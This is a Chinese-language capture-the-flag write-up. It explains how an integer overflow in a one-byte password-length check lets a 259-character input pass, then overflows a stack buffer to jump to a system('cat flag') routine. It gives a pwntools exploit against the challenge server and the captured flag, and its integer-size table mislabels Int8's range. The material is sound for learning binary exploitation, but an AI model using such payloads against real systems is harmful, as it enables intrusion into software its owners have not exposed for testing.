查看保护
IDA
先查看字符串搜索下有无可利用字符串,找到了cat flag。进入发现直接是system cat flag。看来只需要跳转到这个地址就可以了(0x8048694)
开始只能选择1.login登录,进入后提示输入用户名和密码。这里用户名限制死25位,没有操作空间,密码可以输入409位,插个眼。
最后还有个check passwd函数:
判断输入函数长度是否大于3小于8
然后将输入的密码拷贝给dest。
题目提示int_overstack,明晃晃地告诉我是整型溢出。我的关注重点就放在int声明的变量上。而这两个关键函数里只有一个int8 v3,拿就从这开刀。
解题
关于int系列的大小
Int8,Int16,Int32,nt64,后面的数字就代表这个数据类型占据的空间。
Int8, 等于Byte, 占1个字节. 0~255
Int16, 等于short, 占2个字节. -32768~32767
Int32, 等于int, 占4个字节. -2147483648~2147483647
Int64, 等于long, 占8个字节. -9223372036854775808~9223372036854775807
本体的int8只能输入值255,而根据login函数的read限定值可知,我们可以输入409个数,那么就可以利用整数溢出搞事情。
int8的整数溢出实现:
int8 最多输入值255,二进制表示为 1111 1111
倘若输入的是256, 二进制表示为 1 0000 0000
1是溢出的部分, 后八位 0 是识别到的部分,
最后生效的值是 0
利用整数溢出漏洞可以绕过字符串长度输入检测,但这不是最终目的,绕过长度检测后有个dest字符串,0x14字节大小。
这里我们可以输入409个字符串,足够完成栈溢出,然后导向cat flag的地址。
EXP
from pwn import *
p=remote('220.249.52.134',48648)
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("username:")
p.sendline("Pang")
p.recvuntil("passwd:")
p.sendline('a'*0x14+'A'*4+p32(0x8048694)+'B'*(255+4-20-4-4))
# 前三个是 填满dest的栈空间,挤掉返回地址,导入跳转system的地址。
# 后面的255+4-20-4-4 是:int8最大空间+溢出4位(满足 3<长度<8)- dest长度 - 返回地址长度 - system的四字节长度
p.interactive()
flag
cyberpeace{a45992bcc3d725e6ac9002cac998b519}